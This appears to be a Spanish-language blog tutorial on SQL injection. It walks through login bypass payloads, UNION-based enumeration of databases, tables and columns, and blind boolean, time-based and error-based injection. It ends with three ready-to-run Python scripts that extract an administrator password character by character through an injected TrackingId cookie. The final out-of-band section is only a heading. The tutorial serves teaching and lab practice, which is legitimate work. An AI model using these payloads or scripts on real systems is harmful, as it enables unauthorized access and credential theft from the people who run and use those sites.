💉 SQL Injection (SQLi)

Explicación acerca de las inyecciones SQL

Copyright © 2010-2025 Freepik Company S.L.

📋 Índice de Contenido

Introducción

Antes de comenzar, es importante señalar que todas las demostraciones y pruebas se realizarán utilizando una base de datos MySQL. Aunque el procedimiento es similar en otros sistemas de gestión de bases de datos, bastará con identificar y aplicar las consultas equivalentes correspondientes para adaptarlo a cada entorno específico.

Un sistema de bases de datos típico, empleado por cualquier servicio que requiera almacenamiento, acceso o interacción con datos, está compuesto por los siguientes elementos:

+-------------+     +-------------+     +-------------+     +-------------+
|             |     |             |     |             |     |             |
|    BBDD     |---->|   Tablas    |---->|  Columnas   |---->|    Datos    |
|             |     |             |     |             |     |             |
+-------------+     +-------------+     +-------------+     +-------------+

El propósito de esta sección es proporcionar una explicación detallada sobre los diferentes tipos de inyección SQL, cómo identificarlos adecuadamente y qué técnicas pueden emplearse para su explotación.

Los principales tipos de inyección SQL incluyen: inyección directa, inyección a ciegas, inyección basada en errores e inyección fuera de banda (out-of-band).

Antes de profundizar en cada una de estas variantes, se abordarán los elementos que permiten llevar a cabo una inyección SQL, así como la información general que resulta esencial identificar antes de proceder con la obtención de datos.

Empezamos

Con el fin de facilitar la comprensión de los conceptos explicados a lo largo de este blog, se asumirá como escenario base un formulario típico de inicio de sesión que solicita un nombre de usuario y una contraseña.

Asimismo, para visualizar de manera más clara las consultas SQL involucradas, se creará localmente una tabla denominada users, que contendrá dos columnas: username y password. Esto permitirá simular de forma más realista el funcionamiento de un formulario de autenticación.

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | password |
|  2 | pepe     | pepe     |
+----+----------+----------+

Un tipo de consultas así suele tener una estructura por detrás algo parecida a esto:

SELECT username, password FROM USERS WHERE username = "" AND password = "";

En la consulta SQL, los valores entre comillas son sustituidos por los datos introducidos por el usuario a través del formulario.

La mayoría de las técnicas de inyección SQL se apoyan en un patrón común: '-- -. Este patrón permite manipular la estructura de la consulta y omitir partes de su lógica original, especialmente las que siguen después del comentario.

Por ejemplo, si en el campo correspondiente al nombre de usuario se introduce el valor '-- - en lugar de un nombre de usuario válido, el comportamiento de la consulta se verá alterado de la siguiente manera:

SELECT username, password FROM USERS WHERE username = “”-- -" AND password = "";

Como puede observarse, al introducir una comilla simple ('), se cierra anticipadamente la cadena que se esperaba como entrada válida. A continuación, el uso del patrón -- - indica el inicio de un comentario en SQL, lo que provoca que el resto de la consulta —habitualmente la parte que incluye la cláusula AND o la verificación de la contraseña— sea ignorado por el intérprete del motor de base de datos.

De este modo, la consulta resultante se vería modificada de la siguiente forma:

SELECT username, password FROM USERS WHERE username = “”

Del mismo modo, si en lugar de introducir simplemente '-- - se ingresa el valor admin' OR 1=1-- -, la consulta SQL se ve aún más comprometida, ya que se introduce una condición lógica siempre verdadera (1=1). Esto anula completamente el propósito del control de autenticación.

En este caso, la consulta resultante sería la siguiente:

SELECT username, password FROM USERS WHERE username = “admin” OR 1=1

En caso de que exista un usuario llamado admin en la base de datos, la consulta sería válida, ya que tanto la condición username = 'admin' como 1=1 se evalúan como verdaderas. Por lo tanto, el sistema devolvería el registro correspondiente al usuario admin, permitiendo así el acceso no autorizado.

No obstante, es importante señalar que no siempre será tan sencillo. Lo fundamental hasta este punto es comprender que el patrón '-- - nos permite manipular e interactuar directamente con la consulta SQL que se está ejecutando en segundo plano.

Una vez entendido el funcionamiento de esta técnica, el siguiente paso consiste en explorar cómo puede utilizarse para obtener información general sobre el sistema de gestión de bases de datos que se está empleando.

Obtención de información general

Para poder extraer información y datos relevantes, primero es necesario obtener cierto conocimiento sobre la estructura del sistema que se encuentra detrás. Para ello, resulta útil llevar a cabo un proceso de enumeración que incluya los siguientes elementos:

Este proceso progresivo permite entender cómo está organizado el sistema de gestión de bases de datos (SGBD) y facilita la identificación de posibles puntos de extracción de información.

A continuación, retomaremos el análisis de la consulta con la que vamos a trabajar:

SELECT username, password FROM USERS WHERE username = "" AND password = "";

Se están seleccionando dos columnas en función de dos parámetros de entrada. Estas columnas serán las que nos permitirán obtener la información deseada.

Aunque aún no hemos profundizado en los distintos tipos de inyección SQL, por simplicidad supondremos que nos encontramos ante una inyección basada en errores y filtrado de información. Esto implica que, si la consulta es incorrecta, generará un fallo, y si es válida, mostrará la información solicitada.

No obstante, una vez comprendidos todos los conceptos de esta sección, será posible adaptar estas consultas a cada tipo específico de inyección.

Por ejemplo, si introducimos el valor admin' order by 3 -- - en el campo de nombre de usuario, la consulta resultante quedaría de la siguiente manera:

SELECT username, password FROM users WHERE username = “admin” order by 3

Si ejecutamos esta consulta, obtenemos esto:

ERROR 1054 (42S22): Unknown column '3' in 'ORDER BY'

Esto se debe a que estamos indicando que la consulta ordene los resultados según la tercera columna de la tabla. Sin embargo, como se puede observar, solo existen dos columnas: username y password.

La clave de esta técnica consiste en realizar pruebas incrementales hasta identificar el número exacto de columnas que la tabla tiene.

Por ejemplo, si en lugar de 3 indicamos 2, la consulta se ejecutaría correctamente y no generaría error, lo que confirmaría que la tabla solo contiene dos columnas.

SELECT username, password FROM USERS WHERE username = ‘admin’ order by 2

Obtenemos la siguiente respuesta:

+----------+----------+
| username | password |
+----------+----------+
| admin    | password |
+----------+----------+

Como se puede apreciar, la consulta devuelve el nombre de usuario y su contraseña, dado que al existir dos columnas en la tabla, el uso de ORDER BY 2 no genera error.

Una vez confirmado esto, podemos proceder a enumerar las bases de datos, tablas y columnas presentes en el sistema.

Enumeración de las bases de datos existentes

Para enumerar las bases de datos, podemos utilizar la siguiente estructura:

SELECT username, password FROM users WHERE username = "admin" union select NULL,schema_name from information_schema.schemata;

Y obtenemos lo siguiente:

+----------+--------------------+
| username | password           |
+----------+--------------------+
| admin    | password           |
| NULL     | information_schema |
| NULL     | sys                |
| NULL     | example            |
| NULL     | performance_schema |
| NULL     | mysql              |
+----------+--------------------+

Por comodidad, podemos utilizar la función GROUP_CONCAT para concatenar toda la información en una sola línea, facilitando así su visualización y análisis.

SELECT username, password FROM users WHERE username = "admin" union select NULL,group_concat(schema_name) from information_schema.schemata;
+----------+---------------------------------------------------------+
| username | password                                                |
+----------+---------------------------------------------------------+
| admin    | password                                                |
| NULL     | information_schema,sys,example,performance_schema,mysql |
+----------+---------------------------------------------------------+

Enumeración de tablas existentes

Para las tablas de una de las bases de datos enumeradas arriba, utilizamos:

SELECT username, password FROM users WHERE username = "admin" union select NULL,group_concat(table_name) from information_schema.tables where table_schema = "example";

Obtenemos:

+----------+----------+
| username | password |
+----------+----------+
| admin    | password |
| NULL     | users    |
+----------+----------+

Enumeración de columnas existentes

Para las columnas de una tabla específica, por ejemplo, la tabla users dentro de la base de datos example, utilizamos:

SELECT username, password FROM users WHERE username = "admin" union select NULL,group_concat(column_name) from information_schema.columns where
 table_schema = "example" and table_name = "users";

Resultado:

+----------+----------------------+
| username | password             |
+----------+----------------------+
| admin    | password             |
| NULL     | id,username,password |
+----------+----------------------+

Con todos estos pasos, somos capaces de enumerar las bases de datos existentes, seleccionar una base de datos específica, listar sus tablas, elegir una tabla y obtener sus columnas.

Aunque de manera indirecta ya se haya mencionado la forma más sencilla de inyectar consultas maliciosas, procederemos a explicar nuevamente, de forma breve, el concepto de las inyecciones directas.

Inyección directa

La inyección directa consiste en introducir el patrón '-- - en un campo de inicio de sesión para obtener acceso inmediato sin necesidad de autenticación válida.

Por ejemplo, si asumimos que existe un usuario administrador, al ingresar admin'-- - en el campo correspondiente y siempre que el usuario admin esté registrado, se logrará acceder al sistema con los privilegios de dicho usuario.

Inyección a ciegas

La inyección a ciegas se presenta cuando, al ejecutar la inyección, no se recibe ningún error ni se obtiene información directa de la base de datos. Sin embargo, se pueden detectar variaciones en el contenido mostrado o en el tiempo de respuesta del sistema.

Dentro de este tipo de inyecciones, se distinguen dos variantes principales:

Inyección basada en condicionales

La inyección basada en condicionales ocurre cuando, al realizar la inyección, no se produce ningún error visible, pero se detecta algún cambio sutil en la respuesta del servidor.

Por ejemplo, una página web puede mostrar un mensaje como “bienvenido de vuelta” o alguna otra indicación que permita inferir que la inyección se ha ejecutado correctamente.

Con esta información, es posible aplicar las técnicas mencionadas anteriormente para enumerar información relevante. A continuación, se presenta un ejemplo para verificar la existencia hipotética del usuario administrador.

SELECT username, password FROM users WHERE username = "admin" and (select 'a' from users limit 1) = 'a';

Si la ejecutamos el servidor nos devuelve lo siguiente:

+----------+----------+
| username | password |
+----------+----------+
| admin    | password |
+----------+----------+

Esta consulta verifica si la primera fila de la columna users contiene la letra 'a'. Si la condición se cumple, el resultado será verdadero; de lo contrario, será falso.

En principio, esto puede no parecer muy útil, pero si se automatiza un script en Python que pruebe letra por letra y compruebe si la condición se cumple, es posible enumerar usuarios.

Sin embargo, es importante destacar que esta consulta no garantiza que la letra 'a' sea la primera letra del valor, sino únicamente que dicha letra se encuentra en la primera fila de la columna users.

Por esta razón, podemos emplear una sintaxis alternativa que resulta más precisa y útil:

... AND (SELECT SUBSTRING(username, 1, 1) FROM users WHERE username = “admin”) = 'a'

Pero también la podemos usar para obtener la contraseña:

SELECT username, password FROM users WHERE username = "admin" and (select substring(password,1,1) from users where username = "admin") ='p';
+----------+----------+
| username | password |
+----------+----------+
| admin    | password |
+----------+----------+

En este caso, la consulta selecciona el valor contenido en la columna password correspondiente al usuario cuyo username es admin.

Posteriormente, se verifica si el primer carácter de este valor es la letra 'p'. Según si esta condición se cumple o no, la respuesta del servidor será diferente.

A partir de esta variación en la respuesta, es posible emplear un script en Python para automatizar este proceso, lo que permitiría eventualmente deducir la contraseña del usuario administrador.

Inyección basada en tiempo

Las inyecciones SQL basadas en tiempo constituyen una variante de las inyecciones a ciegas, ya que no generan mensajes de error ni revelan información directa de la base de datos.

Aunque las inyecciones basadas en condicionales suelen ser efectivas, en algunos casos no es posible detectar cambios en la respuesta del servidor que indiquen si la inyección fue procesada correctamente.

En estos escenarios, se utiliza el tiempo de respuesta como indicador, ya que este comportamiento puede ser observado desde el lado del cliente.

and if(substr(database(),1,1) = ‘e’, sleep(5), 1)

Y si lo insertamos en la petición, observamos lo siguiente:

select username,password from users where username = "admin" and if(substring(database(),1,1) = 'e',sleep(5),1);
Empty set (5,001 sec)

Como podemos observar, la petición no genera error y, además, tarda aproximadamente 5 segundos en responder, lo que indica que la inyección ha sido exitosa.

De manera similar a las inyecciones basadas en condiciones, el uso de scripts en Python para automatizar el proceso resulta igualmente eficaz en este caso.

A continuación, os dejo dos ejemplos básicos de scripts en Python: uno para inyecciones basadas en condiciones y otro para inyecciones basadas en tiempo.

Condicionales

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = ""
trakingId = ""
session = ""

characters = string.ascii_lowercase + string.digits

def makeRequest():

	password = ""	

	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque")

	time.sleep(2)

	p2 = log.progress("Password")

	for position in range(1, 21):
		for character in characters:
			cookies = {
				'TrackingId': "%s' and (select substring(password,%d,1) from users where username = 'administrator')='%s" % (trakingId, position, character),
				'session' : session
			}

			p1.status(cookies['TrackingId'])

			r = requests.get(main_url, cookies=cookies)

			if "Welcome back!" in r.text: # This is the text that changes
				password += character
				p2.status(password)
				break
if __name__ == '__main__':
	makeRequest()

Tiempo

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = ""
trackingId = ""
session = ""

characters = string.ascii_lowercase + string.digits

def makeRequest():

	password = ""

	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque")

	time.sleep(2)

	p2 = log.progress("Password")

	for position in range(1, 21):
		for character in characters:
			cookies = {
				'TrackingId': "TrackingId=%s'||(select case when substr(password,%d,1)='%s' then pg_sleep(2) else '' end from users where username = 'administrator')||'" % (trackingId, position, character),
				'session' : session
			}

			p1.status(cookies['TrackingId'])

			init_time = time.time()

			r = requests.get(main_url, cookies=cookies)

			final_time = time.time()

			if final_time - init_time > 1.5:
				password += character
				p2.status(password)
				break
if __name__ == '__main__':
	makeRequest()

Inyección basada en errores

En el caso de que estemos ante una inyección SQL basada en errores, la forma de afrontarla es muy parecida a las inyecciones basadas en condicionales o en tiempo. Pero, en este caso en vez de evaluar algo cambiante en la respuesta o el tiempo de la respuesta, evaluamos el código de estado que nos devuelve el servidor una vez realizada la petición.

A continuación os dejo un script en Python para que se entienda mejor:

#!/usr/bin/python3

from pwn import *
import requests, signal, time, pdb, sys, string

def def_handler(sig, frame):
	print("\n\n[!] Saliendo\n")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = ""
trackingId = ""
session = ""

characters = string.ascii_lowercase + string.digits

def makeRequest():

	password = ""

	p1 = log.progress("Fuerza bruta")
	p1.status("Iniciando ataque")

	time.sleep(2)

	p2 = log.progress("Password")

	for position in range(1, 21):
		for character in characters:
			cookies = {
				'TrackingId': "TrackingId=%s'||(select case when substr(password,%d,1)='%s' then to_char(1/0) else '' end from users where username = 'administrator')||'" % (trackingId, position, character),
				'session' : session
			}

			p1.status(cookies['TrackingId'])

			r = requests.get(main_url, cookies=cookies)

			if r.status_code == 500:
				password += character
				p2.status(password)
				break
if __name__ == '__main__':
	makeRequest()

El funcionamiento del script se basa en provocar intencionadamente un error en el servidor cuando se cumple una condición específica relacionada con un carácter de la contraseña. Este error genera un código de estado HTTP 500, que el script detecta para confirmar que el carácter probado es correcto. Así, al forzar el error mediante una operación matemática inválida dentro de la consulta SQL, el script va descubriendo carácter por carácter la contraseña completa.

Inyección fuera de banda (out-of-band)


Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.